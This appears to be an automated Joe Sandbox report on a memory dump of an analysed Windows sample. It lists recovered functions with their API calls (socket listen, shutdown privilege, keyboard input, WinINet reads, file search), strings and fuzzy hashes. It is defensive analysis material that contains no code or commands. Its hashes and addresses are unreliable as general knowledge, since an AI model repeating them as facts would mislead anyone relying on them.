Download Yara Rule

APIs

Part of subcall function 0017A2FB: _memmove.LIBCMT ref: 0017A33D

_memmove.LIBCMT ref: 00178672
_memmove.LIBCMT ref: 001786C2
_memmove.LIBCMT ref: 00178728

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: a1d843ed92a146b356631b9865471220485a4843621ba20420c6204086a2512c
Instruction ID: 62b744b4cc9c80ce954afa1e6821d2c085918b9e9ee0c21a67544ee4ffabe1fe
Opcode Fuzzy Hash: a1d843ed92a146b356631b9865471220485a4843621ba20420c6204086a2512c
Instruction Fuzzy Hash: E9128F70A00609EFDF18DFA5D995AAEB7F9FF58300F208569E40AE7250EB35AD11CB50

Function 001DEAA6 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 149nativewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0018AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0018AF8E

Part of subcall function 0018B736: GetCursorPos.USER32(000000FF), ref: 0018B749
Part of subcall function 0018B736: ScreenToClient.USER32(00000000,000000FF), ref: 0018B766
Part of subcall function 0018B736: GetAsyncKeyState.USER32(00000001), ref: 0018B78B
Part of subcall function 0018B736: GetAsyncKeyState.USER32(00000002), ref: 0018B799

ReleaseCapture.USER32 ref: 001DEB1A
SetWindowTextW.USER32(?,00000000), ref: 001DEBC2
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 001DEBD5
NtdllDialogWndProc_W.NTDLL(?,00000202,?,?,00000000,00000001,?,?,?), ref: 001DECAE

Strings

@GUI_DROPID, xrefs: 001DEC05
@GUI_DRAGFILE, xrefs: 001DEC49

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: AsyncStateWindow$CaptureClientCursorDialogLongMessageNtdllProc_ReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 973565025-2107944366
Opcode ID: 163f192ce8841a3844edd3e5d426a5814e113a0c0fa0f1e9d58c39b7c2cf925b
Instruction ID: ad44f05062bcdee6f2f899aed32b95d799dcea64214244e67da9f85ced99012d
Opcode Fuzzy Hash: 163f192ce8841a3844edd3e5d426a5814e113a0c0fa0f1e9d58c39b7c2cf925b
Instruction Fuzzy Hash: 0C518971214304AFE700EF24EC96FAA7BE5BB98705F00491AF5859B2E2DB709954CB62

Function 001B82D0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 58shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 001ABEC3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 001ABF0F
Part of subcall function 001ABEC3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 001ABF3C
Part of subcall function 001ABEC3: GetLastError.KERNEL32 ref: 001ABF49

ExitWindowsEx.USER32(?,00000000), ref: 001B830C

Strings

SeShutdownPrivilege, xrefs: 001B82DA
, xrefs: 001B82FA
@, xrefs: 001B82FF

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: 0ec0fad98b1633faccf13bb77a2a089c4e72789a26e20ed63e84d89b497d47c6
Instruction ID: bcd56fbc52ec3db2975b779977896e2edc184ac653d1ef8f66afba63e02a7500
Opcode Fuzzy Hash: 0ec0fad98b1633faccf13bb77a2a089c4e72789a26e20ed63e84d89b497d47c6
Instruction Fuzzy Hash: 54018475654211AAE76866789C8ABFB72ACBB11F80F180424F943D51E2DF64DC00C1A4

Function 001C91DC Relevance: 9.1, APIs: 6, Instructions: 83networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 001C9235
WSAGetLastError.WS2_32(00000000), ref: 001C9244
bind.WS2_32(00000000,?,00000010), ref: 001C9260
listen.WS2_32(00000000,00000005), ref: 001C926F
WSAGetLastError.WS2_32(00000000), ref: 001C9289
closesocket.WS2_32(00000000), ref: 001C929D

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: de4c02d8d906aba2c09229cfe712b88d3e17ff500b9809ed607d45f43435c708
Instruction ID: 10efa30071f72f347532563c20f9536cf3e848f8b31c59b44a2f80348ca6736b
Opcode Fuzzy Hash: de4c02d8d906aba2c09229cfe712b88d3e17ff500b9809ed607d45f43435c708
Instruction Fuzzy Hash: 81217E35600200AFCB14EF64D889FBEB7A9AF54728F10815DF996AB691CB70ED41CB91

Function 00176670 Relevance: 8.1, APIs: 2, Strings: 2, Instructions: 1093COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 001767D0

Strings

hN", xrefs: 001F216F
tM", xrefs: 001F2183

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: _memmove
String ID: hN"$tM"
API String ID: 4104443479-1199129293
Opcode ID: 90f9f0e32c25521491d18a2e0246c9db8766887cde6c5b8a1af78f1c8687912c
Instruction ID: f42ce09956a445b1364561a8f739bb7b8d5867254fe842b324a2924eef91a126
Opcode Fuzzy Hash: 90f9f0e32c25521491d18a2e0246c9db8766887cde6c5b8a1af78f1c8687912c
Instruction Fuzzy Hash: 64A27B75E00619CFDB28CF58C8806ADBBB1FF48314F2581AAE959AB391D7749E81CF50

Function 0017A0C0 Relevance: 8.0, APIs: 5, Instructions: 514COMMON

Download Yara Rule

APIs

Part of subcall function 0019010A: std::exception::exception.LIBCMT ref: 0019013E
Part of subcall function 0019010A: __CxxThrowException@8.LIBCMT ref: 00190153

_memmove.LIBCMT ref: 001E3020
_memmove.LIBCMT ref: 001E3135
_memmove.LIBCMT ref: 001E31DC

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: _memmove$Exception@8Throwstd::exception::exception
String ID:
API String ID: 1300846289-0
Opcode ID: 897c279bce6071158e51afaeaa4ba8bc5094495ee8eaa61ddb52fcecc148d698
Instruction ID: 7e997cf5fd815ebd2fe21e6465d8a4e032d2f3ca7671f5e9c0ca01d1a65cde84
Opcode Fuzzy Hash: 897c279bce6071158e51afaeaa4ba8bc5094495ee8eaa61ddb52fcecc148d698
Instruction Fuzzy Hash: 7202AF70A00209EFCF08DF65D885AAEB7B5EF98300F55C069F80ADB255EB31DA55CB91

Function 001C96E2 Relevance: 7.6, APIs: 5, Instructions: 146networkCOMMON

Download Yara Rule

APIs

Part of subcall function 001CACD3: inet_addr.WS2_32(00000000), ref: 001CACF5

socket.WSOCK32(00000002,00000002,00000011,?,?,?,00000000), ref: 001C973D
WSAGetLastError.WS2_32(00000000,00000000), ref: 001C9760

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ErrorLastinet_addrsocket
String ID:
API String ID: 4170576061-0
Opcode ID: ef84316b351d76cd3c555647b6f32daa650bf40ea069b95b492e63e14f5551bc
Instruction ID: f4954ecf8aa466c98719aacbf869acce06d658933392231b6441961662f45473
Opcode Fuzzy Hash: ef84316b351d76cd3c555647b6f32daa650bf40ea069b95b492e63e14f5551bc
Instruction Fuzzy Hash: AB41B071600204AFDB14AF24C886EBE77EDEF54728F14814CF956AB392DB749E418B91

Function 001BF350 Relevance: 7.6, APIs: 5, Instructions: 125fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 001BF37A
_wcscmp.LIBCMT ref: 001BF3AA
_wcscmp.LIBCMT ref: 001BF3BF
FindNextFileW.KERNEL32(00000000,?), ref: 001BF3D0
FindClose.KERNEL32(00000000,00000001,00000000), ref: 001BF3FE

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNext
String ID:
API String ID: 2387731787-0
Opcode ID: 059297aa63994f79aecd310d35091bd043faae9556c2b2bb53f91993e69c15cf
Instruction ID: 76104fbf7acc54edd0c2072a6ba3a3abe2160434527f4273600c0d5a715c2fd7
Opcode Fuzzy Hash: 059297aa63994f79aecd310d35091bd043faae9556c2b2bb53f91993e69c15cf
Instruction Fuzzy Hash: D1419B356043029FCB08DF28C890AAAB3E4FF59324F10456DE95ACB3A1DB31E946CF91

Function 001B4342 Relevance: 6.1, APIs: 4, Instructions: 112keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000000,?,00000001), ref: 001B439C
SetKeyboardState.USER32(00000080,?,00000001), ref: 001B43B8
PostMessageW.USER32(00000000,00000102,?,00000001), ref: 001B4425
SendInput.USER32(00000001,?,0000001C,00000000,?,00000001), ref: 001B4483

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 8fd05b34e033b05962a2b7e8fa81b62966b2d65e48b20c90f1ddcacc7166a91e
Instruction ID: 217dff58aaa14916b1b8e952c196e05fc5ade39fec49c13a1cc241eaba5ac7ec
Opcode Fuzzy Hash: 8fd05b34e033b05962a2b7e8fa81b62966b2d65e48b20c90f1ddcacc7166a91e
Instruction Fuzzy Hash: 674126B0A00258ABEF348B65D8087FDBBB5AB59311F04811AF491932D2CB748DA5D762

Function 001DEFA8 Relevance: 6.1, APIs: 4, Instructions: 80nativewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0018AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0018AF8E

GetCursorPos.USER32(?), ref: 001DEFE2
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,001EF3C3,?,?,?,?,?), ref: 001DEFF7
GetCursorPos.USER32(?), ref: 001DF041
NtdllDialogWndProc_W.NTDLL(?,0000007B,?,?,?,?,?,?,?,?,?,?,001EF3C3,?,?,?), ref: 001DF077

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Cursor$DialogLongMenuNtdllPopupProc_TrackWindow
String ID:
API String ID: 1423138444-0
Opcode ID: 14098c8bf323b10cd7a4f2271263f4c4ba21aebcf6702edfd89b4d699e231ba5
Instruction ID: 2d9f3eba88c0de9f62099c17c778cdf2c97a3eaeb9842f850136918886b87362
Opcode Fuzzy Hash: 14098c8bf323b10cd7a4f2271263f4c4ba21aebcf6702edfd89b4d699e231ba5
Instruction Fuzzy Hash: 6821D635500018EFDB158F54D898EFA7BBAFF49750F14406AF506873A2C3319E92DB90

Function 001B220C Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 560stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,00000000), ref: 001B221E

Strings

|, xrefs: 001B224E
(, xrefs: 001B2264

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: lstrlen
String ID: ($|
API String ID: 1659193697-1631851259
Opcode ID: 65fce9a7133bf1341389e155a37e0af80838b7f3cdc1daad57c8b1b3153948e4
Instruction ID: e92b61cbd24c2c58cab2699114186da7756f8c82fa6950911184fb272318341e
Opcode Fuzzy Hash: 65fce9a7133bf1341389e155a37e0af80838b7f3cdc1daad57c8b1b3153948e4
Instruction Fuzzy Hash: C5321575A007059FCB28DF69C480AAAB7F1FF48320B15C56EE49ADB7A1E770E941CB44

Function 0018AD5C Relevance: 4.9, APIs: 3, Instructions: 378nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 0018AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0018AF8E

NtdllDialogWndProc_W.NTDLL(?,?,?,?,?), ref: 0018AE5E

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: DialogLongNtdllProc_Window
String ID:
API String ID: 2065330234-0
Opcode ID: 035dd20da5116e9799549cc4ea45f563867bc8b57864f75e9502799f8c65f641
Instruction ID: 98a12ab5c519961b299bbabb60eabd390f05cacdc0403c5b743600f1f30edc57
Opcode Fuzzy Hash: 035dd20da5116e9799549cc4ea45f563867bc8b57864f75e9502799f8c65f641
Instruction Fuzzy Hash: 65A126A0104645BBFB2CBA2A5C88D7F395DEF52741B91492FF902D61A1CB248F02DB73

Function 001C550C Relevance: 4.7, APIs: 3, Instructions: 155networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,001C4A1E,00000000), ref: 001C55FD
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 001C5629

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: e3c39ca81fa4d9c98623bb06e10085f75b059d33fadaa03c99ecc39ccd84ece4
Instruction ID: fbc2667c60e3a9a4244a65bc860679de452eea0160cbd44d5abed1e288e50697
Opcode Fuzzy Hash: e3c39ca81fa4d9c98623bb06e10085f75b059d33fadaa03c99ecc39ccd84ece4
Instruction Fuzzy Hash: F241D271600609BFEB109A91DC85FBFB7BEEB60718F50406EF605A6180DB70FE819B64

Function 001BEA85 Relevance: 4.6, APIs: 3, Instructions: 72COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 001BEA95
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 001BEAEF
SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 001BEB3C

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: 9cbab4c5705262d306516908a50d1b240f724644091f589834cedba7d9b4c2e2
Instruction ID: 5c9005271ae3f631f174bf97d2dcf812ca3dc0b923b8bb85fdc19658b8d6350c
Opcode Fuzzy Hash: 9cbab4c5705262d306516908a50d1b240f724644091f589834cedba7d9b4c2e2
Instruction Fuzzy Hash: 78213C35A00218EFCB00EFA5D895AEEBBB9FF58314F1480A9E906AB351DB31D955CB50

Function 001B702F Relevance: 4.6, APIs: 3, Instructions: 58fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 001B704C
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000028,?,00000000), ref: 001B708D
CloseHandle.KERNEL32(?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 001B7098

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: 61adf6df82e8d9d9a527ae61e2d11b500b3778cacd9f0b01ccf02637725cb541
Instruction ID: 1a24c1e962a0ab581146381fa13f8fbf1ff2359fad80a0942259868e1fbfca8f
Opcode Fuzzy Hash: 61adf6df82e8d9d9a527ae61e2d11b500b3778cacd9f0b01ccf02637725cb541
Instruction Fuzzy Hash: 3A111E71E05228BFEB109F95EC45BFEBBBDEB45B10F104156F910E7290D7705A058BA1

Function 0018AFB4 Relevance: 3.1, APIs: 2, Instructions: 82nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 0018AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0018AF8E

Part of subcall function 0018B155: GetWindowLongW.USER32(?,000000EB), ref: 0018B166

GetParent.USER32(?), ref: 001EF4B5
NtdllDialogWndProc_W.NTDLL(?,00000133,?,?,?,?,?,?,?,?,0018ADDD,?,?,?,00000006,?), ref: 001EF52F

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: LongWindow$DialogNtdllParentProc_
String ID:
API String ID: 314495775-0
Opcode ID: 07b2b5074fd06e929d8b5ef07a94ed01d1dd545b4749585272a46c27e8dbe469
Instruction ID: 04a7a8ea90a28247d5c24eb01060e5c6f07a1a7db489735344739f64e6a55d13
